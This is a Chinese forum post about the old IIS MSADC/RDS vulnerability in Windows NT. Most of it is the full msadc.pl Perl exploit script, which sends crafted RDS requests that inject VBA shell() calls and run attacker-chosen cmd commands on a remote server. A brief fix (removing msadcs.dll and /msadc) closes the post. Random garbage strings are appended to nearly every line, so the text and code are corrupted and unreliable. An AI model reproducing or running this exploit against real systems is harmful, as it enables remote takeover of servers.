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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 97(*-e=e  
JIU=^6^2'  
涉及程序: `}f wR  
Microsoft NT server 38eeRo  
'#0'_9}  
描述: @I|gA  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 v}\Nx[}  
[!#<nY/C  
详细: QWV12t$v  
如果你没有时间读详细内容的话,就删除: -.X-02  
c:\Program Files\Common Files\System\Msadc\msadcs.dll IXef}%1N?  
有关的安全问题就没有了。 r .b!3CoQ  
_}-Ed,.=  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 \4OX]{  
b$:<T7vei  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 7}e73  
关于利用ODBC远程漏洞的描述,请参看: 3R sbi  
qx~-(|s`H  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm gK8{=A0c  
Q-}yZ  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Qs5^kddz=  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp B#T4m]E/  
GF-\WD  
这里不再论述。 {FU,om9  
u 6(O;  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ?@i_\<A2  
Y[ciT)  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset |8m;}&r$  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 2\p8U#""  
&6`h%;a/&  
IE|$mUabm  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 6RLYpQ$+  
"NgfdLz  
#!perl Io81zA  
# wjm_bEi  
# MSADC/RDS 'usage' (aka exploit) script x$;I E  
# rVE!mi]%  
# by rain.forest.puppy l$~3_3+  
# %|:Gn)8  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me dyz)22{\!`  
# beta test and find errors! zMf .  
Gb\Nqx(  
use Socket; use Getopt::Std; uoM;p'  
getopts("e:vd:h:XR", \%args); {T^"`%[   
'*~_!lE5  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 5DEK`#*  
5mxYzu;#]  
if (!defined $args{h} && !defined $args{R}) { axSJ:j8  
print qq~ N:]71+  
Usage: msadc.pl -h <host> { -d <delay> -X -v } M6 W {mek  
-h <host> = host you want to scan (ip or domain) T5g}z5~"  
-d <seconds> = delay between calls, default 1 second ;|.^_Xs  
-X = dump Index Server path table, if available SCCBTpmf2B  
-v = verbose gxIGL-1M  
-e = external dictionary file for step 5 V kA$T8  
1gwnG&  
Or a -R will resume a command session I0 78[3b  
G>/Gw90E  
~; exit;} Y%FQ]Q=+  
%8_bh8g-  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; c&{1Z&Y  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} QU]& q`GE  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} RpAqnDX)  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 'Olp2g8=  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} BB?vc( d  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } zq=X;}qYj  
sw={bUr6G`  
if (!defined $args{R}){ $ret = &has_msadc; F~`Yh6v  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} $?.0>0 ,<  
LyaFWx   
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Ua>lf8w<  
. "cmd /c "; OR&'  
$in=<STDIN>; chomp $in; N:j,9p0,  
$command="cmd /c " . $in ; Uq:WW1=kh  
`K,{Y_  
if (defined $args{R}) {&load; exit;} b'!t\m  
qgT~yDm  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Aj854 L(!  
&try_btcustmr; 0h[p w   
|\?mX=a.y  
print "\nStep 2: Trying to make our own DSN..."; ,f4VV\  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 0Jz5i4B  
7,MDFO{n  
print "\nStep 3: Trying known DSNs..."; w1aev  
&known_dsn; o$*aAgS+  
*>lh2ssl L  
print "\nStep 4: Trying known .mdbs..."; mv5=>Xc6  
&known_mdb; ?ztI8 I/  
XX85]49`%  
if (defined $args{e}){ w\"~ *(M  
print "\nStep 5: Trying dictionary of DSN names..."; m#}41<  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } MI: rH  
.!fhy[%o:D  
print "Sorry Charley...maybe next time?\n"; ;Av=/hU  
exit; `-R-O@X|  
eb6Ux  
############################################################################## /5Od:n  
!2.(iuE  
sub sendraw { # ripped and modded from whisker N\,[(LbA&  
sleep($delay); # it's a DoS on the server! At least on mine... PykVXZ7j;  
my ($pstr)=@_; \# p@ef  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 7U9*-9  
die("Socket problems\n"); |/qwR~  
if(connect(S,pack "SnA4x8",2,80,$target)){ `fnU p-  
select(S); $|=1; X#ZQpo'h  
print $pstr; my @in=<S>; J!{t/_aw  
select(STDOUT); close(S); YiO3.+H  
return @in; 3WVH8Sb  
} else { die("Can't connect...\n"); }} fH@P&SX  
r}**^"mFy  
############################################################################## H*m3i;"4p\  
-wh?9 ?W  
sub make_header { # make the HTTP request ?*zDsQ  
my $msadc=<<EOT GM~Ek] 9C%  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 L@5j? N?F  
User-Agent: ACTIVEDATA D-/q-=zd  
Host: $ip kF;N}O2?{  
Content-Length: $clen oimM)Yo  
Connection: Keep-Alive _xefFy  
&E]<dmR  
ADCClientVersion:01.06 S-f .NC}:i  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 6e;POW  
qkM)zOZ^  
--!ADM!ROX!YOUR!WORLD! E0*KKo%  
Content-Type: application/x-varg Ka_g3  
Content-Length: $reqlen $} @gR] Z  
kR+7JUq]  
EOT n)Zu>  
; $msadc=~s/\n/\r\n/g; %/4_|.8u  
return $msadc;} qs%UJ0tR  
k-N}tk/5  
############################################################################## IAHQT < ]  
T,oZaJ<  
sub make_req { # make the RDS request 64L;np>  
my ($switch, $p1, $p2)=@_; 2oF1do;  
my $req=""; my $t1, $t2, $query, $dsn; .OpG2P  
_-T^YeQ/  
if ($switch==1){ # this is the btcustmr.mdb query `h'7X(  
$query="Select * from Customers where City=" . make_shell(); {pc  (b  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . #Dea$  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} B'e@RhU;  
;nx.:f  
elsif ($switch==2){ # this is general make table query SsEpuEn  
$query="create table AZZ (B int, C varchar(10))"; D$AvD7_  
$dsn="$p1";} 4?fpk9c{2  
'T|EwrS j  
elsif ($switch==3){ # this is general exploit table query hD[r6c  
$query="select * from AZZ where C=" . make_shell(); (;;.[4,y  
$dsn="$p1";} 9X&=?+f  
Q;s {M{u  
elsif ($switch==4){ # attempt to hork file info from index server kTcW=AXu  
$query="select path from scope()"; [1Aoj|  
$dsn="Provider=MSIDXS;";} !rF1Remw  
cMrO@=b;  
elsif ($switch==5){ # bad query w~q ]&  
$query="select"; 44s 9\  
$dsn="$p1";} D59q/@  
ilXKJJda  
$t1= make_unicode($query); 2rW9ja  
$t2= make_unicode($dsn); dW2 2v!  
$req = "\x02\x00\x03\x00"; -G~/ GO  
$req.= "\x08\x00" . pack ("S1", length($t1)); %JH/|mA&|  
$req.= "\x00\x00" . $t1 ; XDAP[V  
$req.= "\x08\x00" . pack ("S1", length($t2)); gj iFpW4  
$req.= "\x00\x00" . $t2 ; _^eiN'B  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";  "UreV  
return $req;} Bd 0oA )i  
0y t36Du  
############################################################################## XdmpfUR,13  
#jzF6j%G  
sub make_shell { # this makes the shell() statement -L4G)%L\  
return "'|shell(\"$command\")|'";} +0)M1!gK  
}& W=  
############################################################################## 7W*a+^   
xAl8e  
sub make_unicode { # quick little function to convert to unicode <;yS&8  
my ($in)=@_; my $out; nW^h +   
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } mQ<4(qd)  
return $out;} ll1N`ke  
zc=G4F01  
############################################################################## 0e+#{k  
)/vom6y*   
sub rdo_success { # checks for RDO return success (this is kludge) m?4hEwQxf  
my (@in) = @_; my $base=content_start(@in); 5jso)`IL  
if($in[$base]=~/multipart\/mixed/){ S[2?,C<2=  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} %gs?~Xl)]  
return 0;} (sQXfeMz  
`"[qb ?z  
############################################################################## tc/  
c_S~{a44Ud  
sub make_dsn { # this makes a DSN for us cfilH"EK  
my @drives=("c","d","e","f"); }eW<P079  
print "\nMaking DSN: "; $OdBuJA  
foreach $drive (@drives) { GS=E6  
print "$drive: "; fz`)CWo:  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . S<NK!89  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 8C8S) ;  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); A.("jb@I  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; A-:k4] {%P  
return 0 if $2 eq "404"; # not found/doesn't exist o+}k$i!6  
if($2 eq "200") { -e}(\  
foreach $line (@results) { J,)ytw]  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} aQ $sn<-l  
} return 0;} jk&xzJH.  
`*B0n>ol,  
############################################################################## qe#5;#  
'nGUm[vh  
sub verify_exists { OqIXFX"  
my ($page)=@_; 3m!tb)  
my @results=sendraw("GET $page HTTP/1.0\n\n"); iLZY6?_^  
return $results[0];} ?R#$ c]  
Z3hZy&_I  
############################################################################## YmaS,Q-  
;10YG6:  
sub try_btcustmr { O 1z0dHa  
my @drives=("c","d","e","f"); |xcI~ X7Q  
my @dirs=("winnt","winnt35","winnt351","win","windows"); K2yNI q_  
zaHZ5%{LQD  
foreach $dir (@dirs) { Jg[Ao#,==  
print "$dir -> "; # fun status so you can see progress vuPNru" 2  
foreach $drive (@drives) { C h>F11kC  
print "$drive: "; # ditto #O}}pF  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; lJ-PW\P  
$reqlenlen=length( "$reqlen" ); 0?>(H(D^/  
$clen= 206 + $reqlenlen + $reqlen; I_v}}h{  
?=M ?v;8  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); i^%$ydg  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} N5=BjXS Ag  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} nPXP9wmh4x  
1B2#uhT]r  
############################################################################## rl%,9JD!  
G$i)ELs  
sub odbc_error { %|(c?`2|  
my (@in)=@_; my $base; p 4> ThpX  
my $base = content_start(@in); zk8 )!Af  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this BM,hcT r?  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Q!1;xw~  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; f+ceL'fr  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~%/Rc`  
return $in[$base+4].$in[$base+5].$in[$base+6];} =9a2+v0  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; l}z<q  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 8J(j}</>a  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} NVv <vu  
29RP$$gR  
############################################################################## ;3cbXc@]  
}R['Zoh4I  
sub verbose { \tI%[g1M  
my ($in)=@_; yv[j Pbe  
return if !$verbose;  lln"c  
print STDOUT "\n$in\n";} .r<a Py$  
Zok{ndO@|f  
############################################################################## .Ix3wR9  
_AX 9 Mu]  
sub save { /88s~=  
my ($p1, $p2, $p3, $p4)=@_; >S +}  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; )r9 9zdUk  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; d+JK")$9C  
close OUT;} 'c s(gc 0  
E JkHPn  
############################################################################## hC:'L9Y  
~$HB}/  
sub load { dE7x  SI  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Y P2VSK2Q  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 03 @a G  
@p=<IN>; close(IN); ~`OX}h/Z  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); y7,fFUKl  
$target= inet_aton($ip) || die("inet_aton problems"); U6]#RxH  
print "Resuming to $ip ..."; I a&*JYM[  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; bWswF<y-  
if($p[1]==1) { p/h\QG1   
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; *4cuWkQ,  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; d9f7 &  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ]at$ohS  
if (rdo_success(@results)){print "Success!\n";} .<hHK|HF  
else { print "failed\n"; verbose(odbc_error(@results));}} @j46Ig4~b  
elsif ($p[1]==3){ %~LY'cfPse  
if(run_query("$p[3]")){ HGQ</5Z  
print "Success!\n";} else { print "failed\n"; }} H5K Fm#  
elsif ($p[1]==4){ /G||_Hc  
if(run_query($drvst . "$p[3]")){ zwfft  
print "Success!\n"; } else { print "failed\n"; }} >ED;_L*_o  
exit;} DSrU7#  
7~h3B<  
############################################################################## .a%6A#<X  
m%HT)`>bg  
sub create_table { 3<xE_ \DR  
my ($in)=@_; VE |:k:};  
$reqlen=length( make_req(2,$in,"") ) - 28; [EAOk=X  
$reqlenlen=length( "$reqlen" ); b fxE}>  
$clen= 206 + $reqlenlen + $reqlen; /JD}b[J$  
my @results=sendraw(make_header() . make_req(2,$in,"")); r&u1-%%9[  
return 1 if rdo_success(@results); iQG!-.aX  
my $temp= odbc_error(@results); verbose($temp); H,7='n7"  
return 1 if $temp=~/Table 'AZZ' already exists/; P3oYk_oW  
return 0;} S:xXD^n#H  
c1H.v^Y5  
############################################################################## {]CZgqE{  
46?z*~*G  
sub known_dsn { 529; _|  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go omfX2Oa2  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",  ti5fsc  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", %'2P4(  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); t[|oSF#i  
wT@Z|.)  
foreach $dSn (@dsns) { g\aO::  
print "."; |_53So: g  
next if (!is_access("DSN=$dSn")); uLdHE5vr  
if(create_table("DSN=$dSn")){ vl (``5{  
print "$dSn successful\n"; }8O9WS  
if(run_query("DSN=$dSn")){ Es=G' au  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 8lk/*/} =<  
print "Something's borked. Use verbose next time\n";}}} print "\n";} g@H<Q('fJ  
X9*n[ev  
############################################################################## zw<<st Bp  
Dl!0Hl  
sub is_access { W{NWF[l8O?  
my ($in)=@_; l+;S$evY  
$reqlen=length( make_req(5,$in,"") ) - 28; +w0Wg.4V  
$reqlenlen=length( "$reqlen" ); %|jS`kj  
$clen= 206 + $reqlenlen + $reqlen; )!(gS,  
my @results=sendraw(make_header() . make_req(5,$in,"")); b:(+d"S  
my $temp= odbc_error(@results); ;D'm=uOl  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); <:-4GJH=  
return 0;} 7FwtBO  
Sct  
############################################################################## C:1(<1K  
@3n!5XM{EE  
sub run_query { V lZ+x)E  
my ($in)=@_; U&"L9o`2  
$reqlen=length( make_req(3,$in,"") ) - 28; jTwSyW  
$reqlenlen=length( "$reqlen" ); W=Syo&;F8  
$clen= 206 + $reqlenlen + $reqlen; Bo:epus}\  
my @results=sendraw(make_header() . make_req(3,$in,"")); 'v'[_(pq  
return 1 if rdo_success(@results); u?>},M/  
my $temp= odbc_error(@results); verbose($temp); xWLZlUHEu  
return 0;} B1X&O d  
m03dL^(   
############################################################################## t %u0=V  
J@_M%eN  
sub known_mdb { +1#;s!e  
my @drives=("c","d","e","f","g"); Bc!<!  
my @dirs=("winnt","winnt35","winnt351","win","windows"); %lbvK^  
my $dir, $drive, $mdb; B}qG-}(V  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; uP4yJ/]  
7 \xCNOKh  
# this is sparse, because I don't know of many kRggVRM  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Ft;x@!h%  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Z7wl~Hk  
"\\system32\\certmdb.mdb", t7-r YY(  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% [vI ;A !  
5[g&0  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 6b*xhu\  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ="G2I\  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", i&(1 <S>P  
"\\cfusion\\cfapps\\security\\realm_.mdb", m p_7$#{l  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ;u`8pF!_eE  
"\\cfusion\\database\\cfexamples.mdb", NJJ=ch  
"\\cfusion\\database\\cfsnippets.mdb", %i7U+v(d  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", q4X( _t  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", nh7_ jEX  
"\\cfusion\\brighttiger\\database\\cleam.mdb", _zbIS&4  
"\\cfusion\\database\\smpolicy.mdb", NPv.7,  
"\\cfusion\\database\cypress.mdb", OL_#Uu  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 7"Nda3  
"\\website\\cgi-win\\dbsample.mdb", L~/L<Ms  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", U6|T<bsOl  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" mUl0D0#  
); #these are just ;HYEJ3  
foreach $drive (@drives) { >r X$E<B\  
foreach $dir (@dirs){ y k!K 5  
foreach $mdb (@sysmdbs) { )AEtW[~D  
print "."; >aVtYp B  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ qh W]Wd" g  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 34CcZEQQ  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 4n.JRR&;  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; P3!@}!r8  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 0N)DHD?U  
9%21Q>Y?b  
foreach $drive (@drives) { }UcdkKq  
foreach $mdb (@mdbs) { '+l"zK ]L-  
print "."; DO{otn 9<  
if(create_table($drv . $drive . $dir . $mdb)){ C}uzzG6s  
print "\n" . $drive . $dir . $mdb . " successful\n"; FS)# v  
if(run_query($drv . $drive . $dir . $mdb)){ r"K!]Vw  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ^AI02`c.  
} else { print "Something's borked. Use verbose next time\n"; }}}} H;<>uE Lie  
} z{ M2tLNb  
D=%1?8K  
############################################################################## ]Ue aXwaU  
l-nH  
sub hork_idx { %=*|: v  
print "\nAttempting to dump Index Server tables...\n"; WZHw(BN{+  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; wjH1Ombt  
$reqlen=length( make_req(4,"","") ) - 28; S8kzAT  
$reqlenlen=length( "$reqlen" ); *pD|N  
$clen= 206 + $reqlenlen + $reqlen; a_0I)' ?  
my @results=sendraw2(make_header() . make_req(4,"","")); u^MRKLn  
if (rdo_success(@results)){ 7f k)a  
my $max=@results; my $c; my %d; }pf|GdL  
for($c=19; $c<$max; $c++){ XUVj<U  
$results[$c]=~s/\x00//g; N<b2xT  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; #^]vhnbN  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Xm|~1 k_3  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; h*40jZ  
$d{"$1$2"}="";} rp"5176  
foreach $c (keys %d){ print "$c\n"; } M:oM(K+  
} else {print "Index server doesn't seem to be installed.\n"; }} =NY55t.  
!"yr;t>|Zb  
############################################################################## PCL ;Z  
opm_|0  
sub dsn_dict { EFx>Hu/ [G  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); t_!p({  
while(<IN>){ KiI+ V;o  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; R ai 0 4  
next if (!is_access("DSN=$dSn")); (p12=EB<  
if(create_table("DSN=$dSn")){ $+n6V2^K)7  
print "$dSn successful\n"; ^dk$6%0  
if(run_query("DSN=$dSn")){ vOz1& |;D  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ^vT!24sK  
print "Something's borked. Use verbose next time\n";}}} flC%<V%'-  
print "\n"; close(IN);} y9d"sqyh  
(57!{[J  
############################################################################## $Z;/Sh  
itirh"[  
sub sendraw2 { # ripped and modded from whisker *IWW,@0  
sleep($delay); # it's a DoS on the server! At least on mine... 2YKa <?_  
my ($pstr)=@_; A&Aj!#  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || g;p} -=  
die("Socket problems\n"); Kw?3joy  
if(connect(S,pack "SnA4x8",2,80,$target)){ 3BCD0 %8  
print "Connected. Getting data"; _ pz}  
open(OUT,">raw.out"); my @in; ^s7!F.O C  
select(S); $|=1; print $pstr; EV{Ys}3M  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} =(7nl#o  
close(OUT); select(STDOUT); close(S); return @in; /A-WI x  
} else { die("Can't connect...\n"); }} UWKgf? _  
0]  
############################################################################## [F-GaaM  
A|+QUPD  
sub content_start { # this will take in the server headers KB](W  
my (@in)=@_; my $c; f!#!  
for ($c=1;$c<500;$c++) { S=mqxIo@m  
if($in[$c] =~/^\x0d\x0a/){ thJ~* 0^  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } %;dj6):@  
else { return $c+1; }}} ,oA<xP-*  
return -1;} # it should never get here actually PZusYeV8b  
+ tMf&BZ  
############################################################################## 0Z8"f_GK  
8\lh'8  
sub funky { =zyA~}M2  
my (@in)=@_; my $error=odbc_error(@in); 'q)g, 2B%  
if($error=~/ADO could not find the specified provider/){ [ncK+rGAc  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; LjBIRV7  
exit;} 3J+2#ML  
if($error=~/A Handler is required/){ ]oB~8d  
print "\nServer has custom handler filters (they most likely are patched)\n"; +1y$#~dl  
exit;} t+8e?="  
if($error=~/specified Handler has denied Access/){ '*b]$5*p  
print "\nServer has custom handler filters (they most likely are patched)\n"; 'f-r 6'_ZX  
exit;}} K] (*l"'U5  
V]p{jLG  
############################################################################## hL&$` Q  
;XurH%Mg  
sub has_msadc { =n5'~1?X?  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); +P2oQ_Fk`9  
my $base=content_start(@results); e|\xF V=4  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); "=djo+y  
return 0;} RSp wU;o6z  
$8=|<vt  
######################## R c+olJ^5  
^viabkf C  
.5(YL8d  
解决方案: t*gZcw5 r  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll !bE-&c  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 6 c_#"4  
}L\;W:0  
拿出来充数 哈哈
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